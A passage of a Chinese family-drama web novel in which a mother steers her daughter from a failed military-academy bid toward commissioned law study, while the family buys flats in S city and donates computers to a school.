陶枝听到女儿话里的关切,她忽然灵机一动,沙哑着声音说:“妈妈舍不得你,一想到你要去受苦,我这心里就难受。”
程曼搂上她的肩:“您之前可不是这么说的。”
陶枝满脸苦涩:“之前还隔着一个高考,隔着体检和政审,算算时间还远着呢。你看,事情没到临头,都觉不到实感。现在你一步一个脚印,把这些事都完成了,妈妈才深切感受到,女儿你就要远走高飞了。”
程曼安慰她:“妈,不会的,我只要一放假就回来。”
“一年一度的探亲假吗?”
程曼语塞,好像确实如此,寒假才是自己的,暑假基本都要训练。
陶枝拉起程曼的手:“女儿啊,你能不能告诉妈妈,怎么想到要报考军校的?”
“妈妈,我之前说过了,第一自保,第二保家,第三卫国。”
陶枝首先肯定她:“你这么小就有大爱,妈妈为你感到骄傲。保家我懂,卫国我也知道,但自保是什么意思?”
“就是让别人不敢欺负我。”
陶枝敢发誓,她真不是做戏,眼泪有它自己的想法,说下来就下来了。
程曼吓一跳,她忙去拿纸巾,给陶枝擦眼泪:“妈,我又不是不回来了。”
“妈妈不是因为这个。我只是在想,都怪妈妈,没有保护好你。”
程曼抱着她,把头窝在她肩上:“妈,这和您没有关系。”
“如果妈妈称职一点,你就不会遭一顿打了。”
程曼心里大恸,原来这事在老妈那里,压根就没有过去。
“妈,意外谁都不想的,您做得不能再好,坏人都被绳之于法了。”
可是也赔不了你的未来啊。陶枝只敢在心里默默道歉。
“妈妈给你找老师,很好很厉害的老师,教你拳脚功夫好不好?”
程曼笑了:“妈,不用啦,去到军校,老师会教综合格斗的。”
陶枝看到她眼里的光,有些话差点说不出口。但客观因素,她也没办法,只好继续劝诫道:“如果你读普通大学,妈妈应该会更开心。学格斗什么的,也可以找其他老师教的嘛。”
“妈妈,没机会啦,我已经一只脚踏进军校了。”
45. 第 45 章
程曼绽放出大大的笑容,陶枝不禁为之迷失,她松懈了自己的坚持。
十八九岁,青春年少,正值追梦的年纪。人生再张狂点,又有什么过错呢?不管成功与否,在攀登的过程中,就已收获了沿途的风景,收获了弥补珍贵的记忆。年轻人求的从来都不是终点,陶枝不禁笑自己落入了俗套。
她拍拍程曼,“望你如愿。”
程晙已经留在S市,开始和各方人马走动,为进军地产界做准备。
程曼谢师宴那天,他倒是赶了回来,但是第二天一早又走了。那天晚上,程晙和陶枝说,建议直接买房不要贷款,他要把人情用在刀刃上。
陶枝答应了他。
陶枝这一年清净惯了,回来这几天,耳边不停听到机器的声音,她自己都觉得不习惯。
程今和程明澄也是,一楼因为是厂房,没有空地给他们玩耍,现在就只能呆在楼上,在各个房间穿来穿去。
程星正在房里看书,陶枝站在门口看了她一会,才抬手敲了敲门。
原本只有一栋楼的时候,工人们的宿舍就在隔壁,程星进屋后就只好关起门。哪里像现在,随时可以敞开门,给房间通风透气。
程星抬起头,一看是陶枝,脸上浮现浅浅的笑容。
陶枝踏进房去,在椅子上坐下,“在看什么书?”
程星把书本举高,《财务会计学》。
陶枝会心一笑,种子开花结果了。她暂时把书按下:“有没有七大姑八大姨找上你?”
程星一脸头疼,“已经好几个了。”
“都是想给你做媒?”
“对啊,我都很明确的拒绝了,她们就跟听不到似的。”
陶枝嗤笑一声:“因为在她们看来,和你结婚一本万利。富在深山都有远亲,何况这事不用什么成本。”
而且,现在程星看起来,就跟个小姑娘似的。
“不止是我,大哥那也有。”
“程晖?”
“就谢师宴那一天,我亲眼看到的,不止一个女孩子凑过去。”
“难道程晖开窍了?”
程星失笑:“哪里啊,回来他跟我倒了一肚子苦水。我哥现在就没那想法,就怕遇到跟上一个......”
陶枝问:“S市的房子看好了吗?”
“妈就您说的那个区,好一点的就那几个盘,一下子就看完了。”
“要不你和程晖,先去把房子买下来?”
程星睁大眼睛:“不等曼曼先上学吗?”
“没必要,她去上学,还有假期呢。”
程星想了想:“那我问问大哥。”
陶枝感觉最对不起程星的,就是上辈子没有给她买房。一套不管谁来了,都不能赶她走的房子。一个完完全全,属于她自己的家。陶枝清楚记得,就是因为没地方去,所以程星被打得再狠,都死忍着不肯离婚,最后是被赵家强硬赶走的。被迫离婚后,工作也没保住,很多地方也不招工了,她只好去干体力活。那一点点工资,也就够租个小破房,她就这样,孤零零地过下半辈子。
陶枝特别想给她底气,底气来源于满满的爱,和一些可以傍身的钱。用陶枝的话来说,先把物质基础打好了,精神建设也就不难了。
咱们国人讲究“有瓦遮头”,这就是女人挺直腰杆的开始。
兄妹俩商量过后,决定先去S市,也是趁机避一避人。
陶枝问他俩:“有在S市的银行开户吗?”
程晖程星一致摇了摇头。
陶枝暗骂老头子办事不力。
“那你们两个先去吧,到时我把钱汇到程晙的账户。”
“妈,孩子呢?”
“买了房后续还有很多事,你想想这一次要呆多久?”
程星想起她这趟回来,在大巴车上吐得昏天暗地,脸色瞬时变得惨白。她可不想再遭一次罪,就说:“我带着程今去。”
程晖问:“带着孩子还怎么办事?”
陶枝瞪他:“难道你还想劳动我这把老骨头?”
程星连忙接话:“可以请阿姨,你看之前的李阿姨,带孩子就很不错。”
程晖也是一时没想到这茬,他不好意思地挠头笑了笑。
赵子浩去找程晙之前,把奥拓留给了老头子
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。程星不好和老爸抢车,而且她那胆量,也不敢自己开到S市。
陶枝也是想不通,程晖作为经常往外跑的,怎么就不愿意去考驾照呢?她挺想敲开程晖的脑袋,看看他到底在想些什么。
陶枝打程晙的手机,“你这边有没有谁,要从家里去S市的?”
程晙很惊讶:“妈您怎么知道?”
“我什么都不知道,你哥你姐要去S市,带着明明和程今,我不放心他们两个。”
程晙在电话那头哈哈大笑:“妈,哥姐知道您这态度吗?”
陶枝没好气:“当他们面我也是这么说。程晙你给我支支招,话说也出来做事这么久,怎么他俩还学不会硬气一点?”
“江山易改,本性难移。”
程晙点了几个人名,都是和他玩得好的。陶枝去送他们的时候,每个人都装了一袋子吃的喝的,拜托他们帮忙照顾下小孩。这些小年轻都很讲义气,拍着胸脯说一定给看好了。
程向前下乡指导农具的使用,程曼体检后他就出门去了。陶枝回到家,看到老头子,才想起没问他的意见。
“程晖程曼去S市了,我们的房要一起买吗?”
程向前回答:“当然啊,一起买折扣低。”
这话提醒了陶枝,“是不是全款,也有折扣拿?”
程向前想了想,“好像是有这回事。”
“我一直忘了问,你们看的房子,是在个人手里,还是在开发商手里?”
程向前得意地笑了:“说出来你都不敢信,我看的是开发商捂盘的房子。”
陶枝确实很惊讶:“你是怎么办到的?”
“去海边玩的那一天,我负责照顾两个小的。我就看到有个孩子,被浪卷到海里去了,当时我看了一圈,居然没有人发现。程晙就在岸边,我叫他赶紧救人,等人救上来了,家长才急急忙忙赶到。原来他们在岸边有栋别墅,小孩是趁大人不注意,自己偷偷溜出来玩沙玩水的。之后他们邀请去别墅玩,大家坐下来一聊,嘿,他们居然是地产开发商,这不就搭上线了嘛。”
陶枝笑:“运道来了,真是挡都挡不住。”
46. 第 46 章
程星到了S市,立马着手买房。人情一到位,什么都好说,开发商很豪气的,按之前开盘的价格,打完折后再卖给她。她打电话给老妈报喜,陶枝着实开心了两天。
军检的通知一到,陶枝就笑不出来了。
就和姜校长预测的一样,因为颅骨骨折这个事,程曼被刷了下来。她把自己关在房间里,不吃不喝,叫也不应,可把程向前给愁的,一口饭都吃不下去。
陶枝劝他:“饭还是要吃的,你又不像年轻人,饿个几顿不要紧。”
程向前吹胡子瞪眼的:“年轻人就能挨饿?”
陶枝好笑:“小孩子最容易受影响了,你越是表现得着急上火,曼曼她更是觉得天都要塌了。”
程向前想了想,好像有点道理:“那你说该怎么办?”
“趁年轻受点磨练才好,我们该吃吃该喝喝,正常过日子。给点私人空间,她会想明白的。”
程向前觉得不靠谱:“万一她还是钻牛角尖呢?”
“我会亲自教她想通的。”
陶枝说到做到,她几乎每天都有约,从早到晚,排得满满当当的,她用行动践行了早出晚归这四个字。
第三天,程曼就问:“我妈呢?”
“和朋友出去了。”
“一去就是一整天?”程曼难以置信。
“程星买好房了,你妈说在搬之前,多去见见老朋友。”
程曼挑不出理来。这一天,直到她都睡下了,陶女士都还没回家。
程曼第二天早早起来,等到她爸出来吃早餐,也没见到她妈的身影。“爸,我妈还没起床呢?”
程向前正喝着粥,嘴里含糊的说道:“不是啊,她昨晚没回来。”
程曼蹭地站了起来,“老妈连家都不回了?”
程向前愣了一下:“不是啊,你叔婆摔了一跤,她去医院陪护了。”
程曼抿了抿嘴,“爸你知道在哪个医院吗?”
“昨晚你妈提了一嘴,好像是在骨科医院。”
“您要去探望叔婆吗?”
“我中午去给你妈送饭。”
“那我跟着一起。”
程向前下意识拒绝她:“小孩子少去医院。”
程曼搂着她爸的胳膊,使出撒娇大法:“哎呀爸,我去替一下我妈,让她也能休息一会。”
程向前很快就败下阵来:“好好好,带你去,带你去。”
到了医院,程曼看到陶枝,像根咸菜似的,干巴巴的没点气色。没办法,陶枝认床,再加上二婶又需要人照看,陶枝她是一晚上都没合眼,现在走起路来感觉都是飘的。
“妈,妈。”叫了两声,陶枝才有反应。
“你怎么也来了?”
“妈,我来替你一会,您回家睡个觉。”程曼搂着陶枝的肩,才惊觉到她妈瘦了。
陶枝没跟她客气,把注意事项一一分说后,就跟着程向前回家补眠去。
“曼曼这两天怎么样?”
“和你猜测的一样,已经开始焦急了。”
“有没有学校打电话来?”
“曼曼接的,我猜是有。”
“等我睡醒再问她。”
晚上,陶枝去和程曼交接班,程曼拉住她的胳膊,冲着程向前说:“老爸,您先看一下叔婆,我有话和老妈说。”
程曼把她妈带到一楼,嘟着嘴很不开心的问:“妈,你还管不管我了?”
“我是想管,但也得你愿意啊。”
“你都几天没理我了?”
陶枝很诧异:“我们和你说话都不应,我以为你不想理我们了。”
程曼气闷,但她不占理,又说不过陶枝,只好放过这一趴。
她左看右看没什么人,才凑到陶枝耳边说:“妈,有好几所大学,都给我打电话了。”她压低了声音:“并且还有水木。”
陶枝瞪圆了眼睛,“果真?”
程曼郑重点了点头。
陶枝问:“你不是滑档了吗?”
“听说我进了全省前十,在招生办那里挂了名,校长也出了大力气,一直在盯着补录开放。”
真是个傻孩子,陶枝在心里想。
“那你是怎么想的?”
“妈妈,我很迷茫。”
陶枝摸摸她的头:“是不是没有你喜欢的?”
她回了个是。
“有位军官给你打过电话。”
程曼顿时站直了:“什么时候?”
“在我敲门叫你不开的时候。”
程曼立马急了:“那军官说了什么?”
“他没有告诉我。”
程曼肉眼可见的颓靡了,她仿佛一下子被抽走了精气神。
陶枝拍拍她:“你很重,不要压我。”
“妈您没良心。”
陶枝从口袋里掏出一张纸:“是我铁石心肠,看来这个地址,你是不需要的了。”
程曼眼疾手快,陶枝话音未落,她立马抢了过来。
她借着昏暗的灯光,凑近一看,是一个本市的地址。
“妈,这是什么意思?”
陶枝晾了她几分钟,直到程曼苦苦哀求她,她才开口说道:“那位好心军官的地址。”
程曼一蹦三尺高,她抱着陶枝亲了一口:“妈,谢谢您。”
陶枝擦掉口水,冷冷地说:“都过去这么多天了......”
程曼扑过来,直接捂住她的嘴:“妈不会的,我明天就出发。”
陶枝转身回了住院部。
程曼跟着老爸回家,在车上她就问:“爸您明天有空吗?”
“什么事?”
“我想您陪我去个地方。”
“去哪里?”
“市医院隔壁。”
程向前一踩刹车,车子吱吱了几声,“你去市医院做什么?”
程曼吓出一身冷汗,“爸您说什么呢,我不是去医院,我去市医院隔壁。”
“你先说,去做什么?”
“我去找老妈说的军官。”程曼一口气说完。
程向前松了一口气:“这事啊,没问题,但为什么是明天去?”
“现在已经夜深了呀。”
程向前本来想告诉她,求人办事这态度不行,但他想到了自己的技术,算了还是天亮再出发吧。
凌晨五点,天刚破晓,程向前就把女儿薅起来。
程曼还没睡醒,头一点一点的,差点滑到桌子底下去。
程向前从冰箱拿出根冰棍,直接贴到程曼的脸颊,把她冻得一激灵,瞌睡立刻被赶跑了。
“你赶紧去洗漱,我们要出发了。”
程曼认命去收拾自己,十分钟不到,就把自己给弄干净了。
等她也
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坐上车,程向前一脚油门,车子轰一下窜了出去。
“爸,您开慢点。”程曼的声音飘散在风中。
很幸运,程曼见到了这位军官。
程向前率先伸出手来,“首长,您好。”
齐主任回握:“不敢当,我姓齐,我是军区招生办的主任。”
程向前从善如流,离开改口道:“齐主任,不知您找犬女,是有什么事情?”
齐主任转向程曼:“程曼同学,我知道你想穿上这身军装。你的分数和意志力,也完全符合招生要求。因为身体原因止步于此,我和你一样感到惋惜。但今天,我不是来安慰你的,我想给你推荐另一条路,一条同样光荣而坚韧的道路。”
一提起这个话题,程曼就不开心,所以她没回齐主任的话。
齐主任却问:“你认为,军队使命是什么?”
“保家卫国。”程曼这下铿锵有力。
“没错,但是你想过没有,一个国家,最需要保卫的是什么?”
“是国土的完整,和人民的安全。”
“完全正确。军队,是保卫国家的最后一道防线,但一个强大的国家,绝不能只靠最后一道防线。你说对不对?”
程曼福至心灵:“还需要规则体系,由它告诉我们,什么可以做,什么不应当做。”
齐主任很赞赏,“好孩子,你非常的敏锐,我觉得法律很适合你。”
“法律?”程曼一脸茫然。
“对,法律,国家需要法律的守护。你想想,一名法官的一次公正判决,可以挽回多少家庭的幸福?一名检察官扳倒一个腐败分子,可以为国家挽回多少损失?一位有良心的律师,又能守护多少普通人的尊严与权利?”
“如果说枪炮,是军人保家卫国的倚仗;那么法律,就是人民捍卫正义的利器。”
“拿起法律武器,你一样是守护国家。这不过是分工不同,你在不同的战场上,同样是在报效祖国。”
“我想推荐你去政法大学。在那里,你能成为国家的另一种战士——不穿戎装穿文装的战士。”
程向前天天都看报纸,他知道国家的“依法治国”方略,闻言他也点了点头:“法律是社会秩序的根基,这确实是为国出力的另一个方向。”
齐主任继续说道:“国家正在大力推进法治建设,正需要你们这样有信念的人才。曲线报国,不知道程曼同学,你意下如何?”
最后这一句话,打动了程曼,她开始正视齐主任所说的内容。
经过陶枝打的预防针,和这几天晾她的行为,程曼自己也意识到,她对军校,与其说是理想,不如说是执念。就因为得不到,她才更加想要。
齐主任说的“为不公而鸣”,这句话她反而更有感触。正因为有过被欺压的经历,她发现了,不是每个人都有发声的渠道,更不是每个人都有能力去维护自己的权益。她自己能讨回公道,最大的功劳,源自于老妈的发力。但凡陶枝少爱她一点,或家里的钱不够充裕,或是没有闻哥哥和袁警官,少了其中的一环,她这件事,恐怕也是不了了之。
“但是,法律真的能保护弱者吗?”程曼想起当时维权的不易。
齐主任这样回答她:“把法律当成一把手术刀,它或许并不够快,但它追求的是根除病灶,让同样的悲剧不再发生。”
程曼一时愣在了那里。
47. 第 47 章
二婶闹着要出院,一说医院浪费钱,二说家里还有事。
陶枝没好气:“伤筋动骨一百天,你这刚上了石膏,哪个医生敢放你回去?”
“这只是个意外,我身体硬朗着呢。”
“你儿子儿媳要干活,还要帮忙带孙子,回去了谁照顾您啊?”
“还有你二叔呢。”
“二叔能扶您去厕所?”
二婶语塞了,作诗要起来:“那也不能天天劳烦你啊。”
陶枝连忙把她按住:“二婶得了吧,您都帮我带了几年娃,于情于理,我照看您是应当的。”
“程晖小的时候,我放一个羊是放,放一群羊也是放,就搭把手的事,哪里就值得你记这么久。”二婶还是不肯接受。
老太太固执起来,也是听不进劝告的。
“二婶啊,我在等程曼的通知书,自己在家容易坐不住,还不如陪您说说话呢。”
“那我得住多久啊?”二婶开始软化了。
“怎么也得一个星期吧。”
二婶满脸的懊懊悔之色,陶枝趁机劝她:“以后您可不能再跑了,您的小曾孙,有爷爷奶奶看着着,他磕碰不了。倒是您这一摔,不仅花钱还受罪。”
二婶看到陶枝的黑眼圈,赶她回去休息,生怕陶枝把身体给熬坏了。
陶枝于是请了位护工,只负责白天的看顾。她告诉二婶,“这是大川的孝心。”
就几天的时间,二婶也能接受了,一听是大孙子叫的,她乐得见牙不见眼。
陶枝先回了趟家,程曼不在家,她心里就有数了。她换了一身衣服,出发去程曼的母校。
陶枝上到三楼的办公室,姜校长已经在等着她。陶枝仔细瞅了瞅,屋子里除了学校的领导,没有电视台或者报社的人在,她心下长松了一口气。
姜校长见状,不由得打趣她:“没有请记者,你就放心吧。”
陶枝指向角落里,那里有尚未拆封的,大大小小几十个箱子:“这就是电脑?”
“是啊,这机器一卸下来,我就给你打电话了。”
陶枝围着箱子打转,看不出个所以然:“那怎么不给装上?”
“虽然咱们不请媒体,但内部的捐赠仪式,还是要走一下的嘛。你快过来,我们先拍点照片。”姜校长说。
大家响应陶枝的要求,没有弄那些虚头巴脑的,象征性的来了位教育局领导,给她颁发了一个硬壳的荣誉证书。红彤彤的底,金灿灿的边,看起来特别的喜庆。
仪式完毕之后,技术人员准备装机。姜校长把他们一行人,带到三楼尽头的房间。门上面钉着一个铭牌:“微机室,闲人免进,进入请穿鞋套。”
姜校长把房门打开,首先一股凉爽的空气扑面而来,与闷热的天气形成鲜明对比。
地上铺了绿色的防静电地板,两边的窗户紧闭,厚重的深红色窗帘垂落着。而在房子的两边,分别排列了十张电脑工作台。雪白的墙上还贴着标语:“电脑是人类的工具。”在灯光的照耀下,这一切显得如此的静谧,舒适,充满了时代感。
两位技术人员进场,他们已经提前检查过线路,现在他们戴上白手套,带着学校年轻的老师们,小心翼翼地将主机、CRT显示器、键盘、鼠标,一一从纸箱里取出,端正摆放在桌子上。
紧接着,把电源线数据线连上,然后安装键盘和鼠标。
硬件安装好了,技术人员按下机箱上,那个硕大醒目的电源键。显示器被点亮,所有人都屏息凝神,经过一阵硬盘的读写声,屏幕上出现了Windows95的标志,以及悦耳的开机音乐。随后,一个带有“开始”按钮的桌面,展现在众人的面前,引来了好一阵惊叹。
技术人员特别自豪:“这里的二十台电脑,安装的都是最新的Windows95。你看这个‘开始’的按钮,所有的程序都在里面,以后用电脑就不用记DOS命令了,方便得很。”
大家都听得一脸懵,就两位年轻的老师,双眼闪耀着激动的光芒。
姜校长向陶枝介绍:“这两位老师学过一点计算机。”
陶枝看着这小屏幕,“这么小一台机器,居然要一万多?”
技术人员微微笑:“阿姨,您可别小看它。它贵,不是贵在铁壳子上,是贵在它肚子里的存货。您想想,您买一台大彩电,您除了能看电视,别的什么也干不了。您买一台大哥大,也就只能接打电话。咱们这电脑,能干的事可多了,一百台彩电和大哥大,都比不上它。”
“第一,它是一台高级打印机。第二,它是面向世界的窗口。第三,它是一座移动的图书馆。第四,它还是一个设计室......”
“咱们学校有了它,就等于给孩子们发了一把,打开未来大门的金钥匙。您说,这一万多,花得值不值?”
陶枝听了哈哈大笑:“听君一席话,值,花得特别值。”
技术人员一边说话,手下那是完全不停顿。他掏出一叠软盘,边安装边教老师,陶枝看得眼花缭乱。
姜校长安排老师参加培训,学习电脑的一些的基础操作。其他领导也有兴趣,自发留了下来,跟着老师们一起学习。
大家都在想:万一哪天我也买电脑了呢?
姜校长把陶枝带回校长办公室,关上门来就只有她们两个人。
校长给她斟了杯热茶:“花这么多钱,捐出去也没听到个响,心疼不心疼?”
陶枝捂着眼睛:“半套S市房子出去了。”
姜校长喜笑颜开:“我替学生们,谢谢你的慷慨。”
陶枝放下手,端起茶来吹了吹:“我谢谢你和老齐才对,要不是你们,程曼说不定就得复读了。”
“哈哈哈,你谢老齐,结果是我得益,他知道了肯定气得跳脚。”
陶枝耸耸肩,“没办法,在你牵线之前,我还不认识他呢。”她转移了话题:“打到家里的那些电话,真的是学校打来的吗?”
姜校长微微一笑:“有些是,有些不是。”
陶枝拍了拍她:“你看,都是因为你值得。”
两人相视一笑,一切尽在不言中。
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程曼这边,她在经过慎重的考虑后,下了一个略微艰难的决定。
她问齐主任:“政法大学也有补录名额吗?”
“只要你愿意,就会有名额。”
程曼瞪大了眼睛:“大学还能走后门?”
齐主任笑了:“没有走后门这回事,军区是进行委托培养。
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”
程曼听到自己的心,在胸腔里扑通扑通,她压着满腔情绪问:“齐主任,照您这么说,我还有机会当军人?”
齐主任回答:“对的,你是接受军区的委托,而去政法大学学习法律。毕业后,你将成为我军的一名军法干部,在军事法院、军事检察院,或者部队司法办公室工作。同样是为国防事业服务,程曼同学,你愿意吗?”
程曼心里一阵狂喜,她任由眼泪夺眶而出,因为这是喜悦的眼泪。她立正敬礼,大声地回答:“我愿意!。”
程曼呜呜呜呜,哭得停不下来。她深深鞠了一躬,哽咽着说:“谢谢您,齐主任。”
齐主任拍拍她的肩:“是你的努力,给了你机会。”
程向前还想请齐主任吃饭,齐主任没给他这个机会,叫人送他们出军区大院。
程向前直到坐在车里,才感觉从云端掉了下来。他以为程曼能上大学就不错了,因为她固执的就填了一个志愿。
他对程曼说:“你掐我一把?”
程曼用戒备的眼神看着他,“爸,您可别害我。”
程向前只好自己上手,哎哟挺疼的,他又乐呵呵地笑了出来。
他啧了一下,“我还担心你没书读呢。”
程曼轻描淡写地说:“有什么好担心的,大不了我就去复读。”
如果忽略了她飞扬的眉毛,程向前说不定还真信了。
程向前说:“程小曼,你可以啊,你妈没看错你。”
程曼哼气:“和我妈有什么关系?”
程向前觉得好笑:“你们两母女啊,一样的嘴硬心软。她呀连续跑了几天教育局,就为了问你这事要怎么办。”
程曼沉默了一会,“爸,我妈是不是早就知道我军检过不了?”
“别忘了,是我陪的你去体检,她去哪知道你过不了?”
“……我就不该问您。”
陶枝说了,最近可能她都得在医院守着,所以程向前直接拐去了医院。
结果只见到了护工,他们转头回了家里。
程曼立马把消息,乐滋滋地分享给陶枝。陶枝看到她肿肿的头脸,是感觉又好笑又心疼,她也乐呵呵的应对:“恭喜你心想事成。”
程曼放下心中大石,有心思考虑别的了:“妈,我考上大学了,有没有奖励?”
陶枝现在手头有点紧,于是她反过来问程曼:“你的同学们都去的什么学校?”
当时程曼的成绩好,是前面一批传回来的。对于同学们考到那里,因为滑档她没心情问,现在还真是一点也不知道。
她尖叫一声,起身就往楼上跑,准备一一给他们打电话。
“妈,奖励的事晚点再说。”
趁着程曼霸住电话机,陶枝拉老头子进房,关上门后小声告诉他,姜校长是怎么牵线的,她和齐主任是怎么谈的,后面她为了报答这两位,冲动之下捐了20台电脑的事。
程向前眉开眼笑:“我就说怎的那么奇怪,齐主任好像专门在等我们一样,结果还真是啊。”
“花了这么多钱,你不会怪我吧?”
老头子拍拍她:“哪能啊,都是为了孩子的未来。曼曼能有今天这个待遇,我们更应该回馈社会才对。”
48. 第 48 章
程星联系陶枝:“妈,卖房子的王叔说,我们买的这个房子,送S市的蓝印户口,要吗?”
“要要要,有户口才有资源,办得快就越早享受。”
“现在一套房是有两个名额。”
“那你和你哥,带着程今和明明,你们四个先拿。等时间一到,再转红印户口。”
“好的妈妈,我和大哥说。”
“你们现在住哪?”
“就住买的房子里。”
陶枝很诧异:“不用装修吗?”
“其中有一套是样板间,已经什么都弄好了的。当时我想着,天天住酒店也不是个事,就问王叔这套卖不卖?所以我和大哥,现在已经住进来了。”
“有家私家电吗?”
“是房子之前配的,王叔问我介不介意,他做主送给我们了。”
“后来有没有答谢人家?”
“我买了游戏机和随身听,送给王叔的两个孙子。”
程星在待人处世方面,一向讲究有来就有往,陶枝对此很放心。
“照你这么说,是不是要先装房子,才能把别墅的东西运过来?”
“不需要的妈妈,毛胚房照样可以堆东西。只不过两套房不能同时开工,必须先装好一套,然后再装另一套。”
陶枝有点苦恼:“我可能没空盯装修。”
“没事的,王叔给我介绍了团队,装修这事您就交给吧。”
“既然是这样,那别墅搬东西,就请大川走一趟。到时候谁要有空,就带他去逛一逛。”
“没问题,包在我身上。”
陶枝略作休息,洗漱之后赶去医院。程曼闹着也要去,陶枝让她赶紧跟上。
一张小小的陪护床,两母女在那挤,连个身都翻不了,陶枝好想一脚把她踹下床。
第二天,程曼还想来,被陶枝拒绝了:“你又不是去军校,别搞那副死样子。”
日子就在相互打闹中,晃晃悠悠的过去了。这期间,二婶已经出院,程向前堂弟把她接回家了。等程曼收到录取通知书,离她开学也就没剩几天。
程曼哄得老头子,给了她一笔资金,陶枝顿时什么都不想买了。
“妈,难道我两手空空的去学校?”
“缺什么到学校再买,不是乐得更轻松?”
程曼捂紧钱包:“那不行,钱不可露白。在那陌陌生生的地方,我要是这么大手大脚的,说不定会给什么人盯上呢。”
老头子也劝陶枝:“多少你给她准备一点嘛。”
“那就带上你的铺盖。”
“那我回家怎么办?”
“你要愿意的话,我的借给你用。”
“难道逢年过节的,咱们也不回了吗?”程曼问。
“回来住酒店。”这次是老头子回答。
程曼一听就懂了,她上楼去收拾,见到哪样合适的,就搬到自己房。反正她不拿的话,老妈也是要搬走的。
老头子要送程曼去学校,陶枝把他俩送上火车,自己转身坐大巴去市里。
自从出租的公寓房建好后,陶
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枝还没开始打广告,就有人陆陆续续来租房了。陶枝就把陈大姐支过去,专门负责收租和看房子。
这一栋六层的楼,每一层的户型一样,一室一厅的三套,两套两室是两套。每一套房子,都配了厨房厕所和阳台,而且是前后都有采光,在附近可谓是独一份。
并且陶枝舍得花钱,一切都对标小区房。厨卫全给贴瓷砖,厨房装了橱柜,厕所装了淋浴,阳台设计得很宽敞,方便租客晾晒被子。防盗门和防盗窗,也都给配备上了。所以一说这房要出租,消息灵通的人立马就下定了。
一楼建成了商铺,六楼则留给了自家人。陶枝随陈大姐自己挑,她挑了个二楼的套一。陈大姐住了这套房,就能把儿子带出来,能让儿子在市里上学,她对陶枝是感激不尽。
话扯远了,陶枝回到别墅,请专人来打包。有些实在不好装车的,陶枝就给搬到公寓楼去。程晙说了六楼留一套,因为他和朋友还有合作,有可能需要经常回来。陶枝就帮他布置房间,基本给他配齐后再搬。
东西都整理好之后,装满了三辆大卡车。程大川和覃玉芬,还有两个小侄儿,他们各自跟一辆车,浩浩荡荡就出发了。
陶枝请认识的人吃饭,房东和邻居也没落下。陶枝留下满院子的鲜花,和房东交接好之后,挥挥手笑着和大家说再见。
如果没什么事,这个城市,她应该不会来了。在回程的大巴上,陶枝忽然感到一阵失落。
孩子们的人生轨迹,她已经都给扭转了,那么接下来,她又该忙些什么呢?
49. 第 49 章
自从程曼去了上大学,儿孙也没一个在身边,老头子经常长吁短叹。
陶枝看不过眼,“你要实在想他们,那就去一趟S市好了。”
“我才不要和他们挤着住。”
“那去酒店?”
程向前摇头:“不浪费那钱,住的还不舒服。”
“出去玩不一样得住酒店?”
“那是因为没得选。”
“......就算房子装好了,也还得放段时间,你能等这么久?”
“临时住几天,没关系吧?”老头子不确定地问。
“要住你自己住,我去程星那里。”
老头子顿时不说话了。
过了两天,他按捺不住,找到陶枝说:“要不我们还是跑一趟?”
陶枝早就料到了,她把行李放进后备箱,率先坐上了副驾驶:“那走吧。”
程向前很高兴:“还是老婆子你懂我。”
“最少要十六七个小时哦,你能开这么久吗?”陶枝不放心地问。
“不是还有你吗?”
“我没有驾照。”
程向前一脚急刹:“你别蒙我,我看到你去考证了。”
“我记错了考试时间,后面发生一系列事情,就没那个心思去考了。”
“你怎么不早说?”
“平时我又不开车,哪里想得起来。”
现在说什么都没用了,程向前重新启动车子:“我们去火车站看看有没有票。”
“干嘛不坐大巴?”
“大巴吃饭和上厕所都不方便,都五十的人了,我们就不要折腾自己了。”
陶枝决定听老头子的,反正不能出力的人,没那么多的话语权。
下车后到窗口排队,陶枝感觉腿都站酸了,才排到他们。结果售票员说:“要三天后才有车次。”
“那要两张软卧的票。”程向前立马掏出钱包。
“阿叔,没有软卧的票了。”
“不是刚出来的车次吗?”他拿钱的手停在了半空。
售票员微微笑笑着不说话。
老头子叹了口气,这是被内部给订走了。他也不纠结了,“那给我来两张硬卧。”
售票员查了查:“没有连在一起的了。”
程向前远远看见黄牛党,他低声问陶枝:”要不要加点钱......”
陶枝顺着他手指的方向,快速瞥了一眼把他手按下:“多一事不如少一事,就这样吧。”
老头子就递钱进去:“我还是要两张。”
售票员“啪啪”盖好章,把钱票都递给程向前:“阿叔请拿好,这是您的票。”
回到车上坐下后,老头子说:“还好,都在一节车厢里,就是隔了两个单元。”
“是什么铺位?”
“两个都是下铺。”
“运气还算不错。”
在火车上腌了十几个小时,一路上闻着各种味,像臭脚丫子味,家禽的屎味,和人的头油味,陶枝再也不提运气这回事了。
她抬手叫了辆出租车,一路飞驰回到房子里。程星一早在家等着,陶枝一进门就去洗澡。等她从头到尾洗刷干净了,才感觉自己活转过来。
老头子说:“大白天洗澡,晚上不得又洗一遍?”
陶枝不想回答他,像赶鸭子一样,把他赶去洗手间把门一锁,“反正你没洗好不给出来。”
陶枝这才有时间问:“两个小的呢?”
程星笑:“都去幼儿园了。”
“程今这么小,幼儿园也收?”
“他们有个托儿班,专门招收3岁以下的儿童。程今看到明明去上学,她也闹着要去,我只好把她带到幼儿园。原本想着在外面看看的,老师就说有这么个班,我就把她也送去了。”
“你的安全感给足了,她就愿意探索世界了。”
“确实像您说的,爸妈带的孩子,看起来就不一样,胆子都大了不少。”
陶枝突然想到一句话,是后来的小年轻教她的:“灵魂一旦被爱,血肉便会疯狂生长。”幸好他们家一向比较宠小孩。
等老头子洗完澡,程星的饭也做好了。一家三口坐下吃饭,程向前心有余悸:“老婆子,你赶紧把驾照考了,我再也不想坐火车了。”
陶枝也是这种感觉,她想象不出来,被后人夸赞的高铁,到底是怎么样的?她好想亲自试一试呀。她掐指一算,还有十二年呢。
见此她只好点点头,这年头坐车真不如开车,她只好舍己为人了。
这房子不大,面积写着一百一,套内才九十几平,程向前转两圈就看完了。他问程星:“我们住哪间?”
程星带他们到主卧。
陶枝进去,打开衣柜,里面挂满了衣服。她问:“这间原来是你睡的?”
程星点了点头。
“那不用换,你继续睡这里,我和你爸睡客房。”
程星正想开口,陶枝打断她:“贸贸然换房,你不怕程今睡不习惯?”
程星这才打消了主意。
陶枝把床铺给换了,老头子坐在床边,伸手比划了一下,“这房子确实不大啊。”
“你以为这是老家呢,随便几百平给你造。”
“嘿你这老婆子,咱们不是有块地吗?”
“现在哪还有钱?”
“你把钱都给花光了?”程向前瞠目而视。
“没有。我钱花在哪,那都有数的,你自己一算就知道了。”
“那你刚说没钱。”
“你要建大房子,那确实没那么多钱。”
“没有我就去挣。”
“好好好,挣挣挣,挣够了再建。”
